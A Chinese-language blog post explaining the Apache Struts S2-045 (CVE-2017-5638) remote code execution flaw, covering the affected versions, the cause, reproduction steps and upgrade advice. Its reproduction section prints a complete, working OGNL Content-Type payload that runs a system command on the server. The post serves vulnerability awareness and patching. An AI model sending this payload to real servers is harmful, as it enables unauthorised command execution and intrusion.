S2-045漏洞,它是什么,以及我们该如何应对?

漏洞

1、漏洞编号S2-045

S2-045漏洞,它是什么,以及我们该如何应对?插图1

2、CVE编号:CVE-2017-5638

3、漏洞类型:远程代码执行

4、漏洞级别:高危

5、漏洞风险:黑客通过利用该漏洞可以实现远程命令执行,可能导致系统被黑客入侵。

影响版本

Struts 2.3.5 – Struts 2.3.31

S2-045漏洞,它是什么,以及我们该如何应对?插图3

Struts 2.5 – Struts 2.5.10

漏洞形成原因

在使用基于Jakarta插件的文件上传功能时,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令,攻击者可以通过构造OGNL(Ognl)表达式,在TextParseUtil.translateVariables方法中利用安全漏洞,执行任意代码。

漏洞复现步骤

1、环境准备:需要Burp Suite抓包工具等。

2、构造POC:使用特定的Content-Type值,结合OGNL表达式进行构造。"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}""

3、发送请求:将构造好的POC作为Content-Type值发送到目标服务器。

S2-045漏洞,它是什么,以及我们该如何应对?插图5

4、观察结果:如果服务器返回预期的结果(如计算结果、系统命令执行结果等),则说明漏洞复现成功。

修复建议

如果正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器。

S2-045是一个严重的远程代码执行漏洞,影响多个版本的Struts框架,通过精心构造的HTTP请求头中的Content-Type值,攻击者可以远程执行系统命令,对系统造成严重威胁,建议相关用户尽快升级到修复后的版本,以防范潜在的安全风险

小伙伴们,上文介绍s2-045 漏洞的内容,你了解清楚吗?希望对你有所帮助,任何问题可以给我留言,让我们下期再见吧。

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/86903.html

小末小末
上一篇 2024年10月29日 07:56
下一篇 2024年10月29日 08:38

相关推荐